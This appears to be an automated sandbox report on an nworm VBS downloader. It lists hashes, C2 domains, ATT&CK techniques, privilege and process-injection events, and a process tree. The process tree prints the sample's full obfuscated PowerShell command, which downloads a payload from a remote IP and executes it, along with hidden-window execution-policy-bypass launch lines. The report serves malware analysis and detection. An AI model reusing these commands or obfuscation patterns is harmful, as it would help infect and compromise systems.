nworm | 1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2

General

Target

EncKAO.vbs
Size

3KB
MD5

fa584c2b021aed55aff0c764aee1cff0
SHA1

327e83c2886c42896804ab87ca6996cb621e9b71
SHA256

1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2
SHA512

a3db7960aa642cd61f499bda0f5892d2b7f939a65252842651472e963ca24ae9ebc7e51cb95e5c424b5dc8b0316333268edb902bb1be713621e4e11c5ecbe18e

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 3252 cmd.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 1964 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation WScript.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1020 set thread context of 384 1020 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1964 powershell.exe
1964 powershell.exe
3448 powershell.exe
3448 powershell.exe
1020 powershell.exe
1020 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	3252	cmd.exe

flow	pid	process
29	1964	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	WScript.exe

description	pid	process	target process
PID 1020 set thread context of 384	1020	powershell.exe	aspnet_compiler.exe

pid	process
1964	powershell.exe
1964	powershell.exe
3448	powershell.exe
3448	powershell.exe
1020	powershell.exe
1020	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 372 wrote to memory of 1964	372	WScript.exe	powershell.exe
PID 372 wrote to memory of 1964	372	WScript.exe	powershell.exe
PID 1964 wrote to memory of 3448	1964	powershell.exe	powershell.exe
PID 1964 wrote to memory of 3448	1964	powershell.exe	powershell.exe
PID 3448 wrote to memory of 384	3448	powershell.exe	WScript.exe
PID 3448 wrote to memory of 384	3448	powershell.exe	WScript.exe
PID 2108 wrote to memory of 3960	2108	cmd.exe	cmd.exe
PID 2108 wrote to memory of 3960	2108	cmd.exe	cmd.exe
PID 3960 wrote to memory of 1020	3960	cmd.exe	powershell.exe
PID 3960 wrote to memory of 1020	3960	cmd.exe	powershell.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe
PID 1020 wrote to memory of 384	1020	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EncKAO.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs"
4⤵
PID:384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1020

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
PID:384

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat
MD5
1ca2d431085aeaf74a34fa288ee241ce

SHA1
c2eee8833239a4f314c788974cd918458213d2cd

SHA256
1b14dced54fee58bc9101ae0a0d99be3d8e5ec293937f25177acc12d1775d764

SHA512
74cb10e76aa479a3076b9e35841cb75aea03bdd7b7a521961be10a403441d6f22c6641f7f92d00a59fc77c12829f4fe216e7fcb1e6aa6d2e2ff26376f55515ec

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1
MD5
abbd84fe458a51e5e93dc62ba2a33313

SHA1
df97c89da1a0eaac1485afb1210ffc034e458e65

SHA256
197d956d33beac34ac8a9b79c460508d28e9069977a27712150695ad2fa8eb22

SHA512
6acb1ba6d93aea7e6857f95a3ca7399050b384283f1c9fbf2bdd52e49d09e1aba8a44106621a07b5f01be55e3bf90e0d405a8485bfd396902e7dacba1da37af6

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs
MD5
8fd7979dccc0170bfb3a586d28d572c8

SHA1
85873a74e36ec1f8e5c92a28492be96b7fc1afee

SHA256
0bcec1d4172f5edf9956023c08752b93be00eee1d1dd7ee027e70bab737bfedf

SHA512
c0e093348d0c15bdeed81bcec7ef66a080834edba3ab25d6405e68727d944ec0425b755d9f21a7d550b3ff17edb78e7ea9a2843df4f6c8d9d67a6a26ca713ec2

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
MD5
3fbbaee606b9fa5ed730aab0c6123ce0

SHA1
a38435566b572cd77b2b5521cf50d830518ba9cf

SHA256
2d89ba4be26780c15328677895a43b6b31791a25105892d562cacf7fc902299d

SHA512
9cb3c6aa7021c09ec5c54520066fea23195e87c5cac41b2eba7bd8a0f31edc23414ebe4bbe3524ebcc2e100c3aec179987e58e11587205d4242302fa92b33f2f

Download Submit
memory/384-173-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/384-172-0x0000000005E50000-0x00000000063F4000-memory.dmp

Filesize
5.6MB

Download
memory/384-171-0x0000000005800000-0x000000000589C000-memory.dmp

Filesize
624KB

Download
memory/384-170-0x0000000005390000-0x0000000005391000-memory.dmp

Filesize
4KB

Download
memory/384-169-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

Filesize
4KB

Download
memory/384-166-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1020-159-0x0000025EC44E0000-0x0000025EC44E2000-memory.dmp

Filesize
8KB

Download
memory/1020-165-0x0000025EC4450000-0x0000025EC446A000-memory.dmp

Filesize
104KB

Download
memory/1020-164-0x0000025EC44E6000-0x0000025EC44E8000-memory.dmp

Filesize
8KB

Download
memory/1020-158-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/1020-160-0x0000025EC44E3000-0x0000025EC44E5000-memory.dmp

Filesize
8KB

Download
memory/1964-134-0x000001CEEBB40000-0x000001CEEBB62000-memory.dmp

Filesize
136KB

Download
memory/1964-140-0x000001CEED686000-0x000001CEED688000-memory.dmp

Filesize
8KB

Download
memory/1964-139-0x000001CEED683000-0x000001CEED685000-memory.dmp

Filesize
8KB

Download
memory/1964-138-0x000001CEED680000-0x000001CEED682000-memory.dmp

Filesize
8KB

Download
memory/1964-137-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/3448-147-0x0000028858690000-0x0000028858692000-memory.dmp

Filesize
8KB

Download
memory/3448-146-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/3448-148-0x0000028858693000-0x0000028858695000-memory.dmp

Filesize
8KB

Download
memory/3448-168-0x0000028858698000-0x000002885869A000-memory.dmp

Filesize
8KB

Download
memory/3448-149-0x0000028858696000-0x0000028858698000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing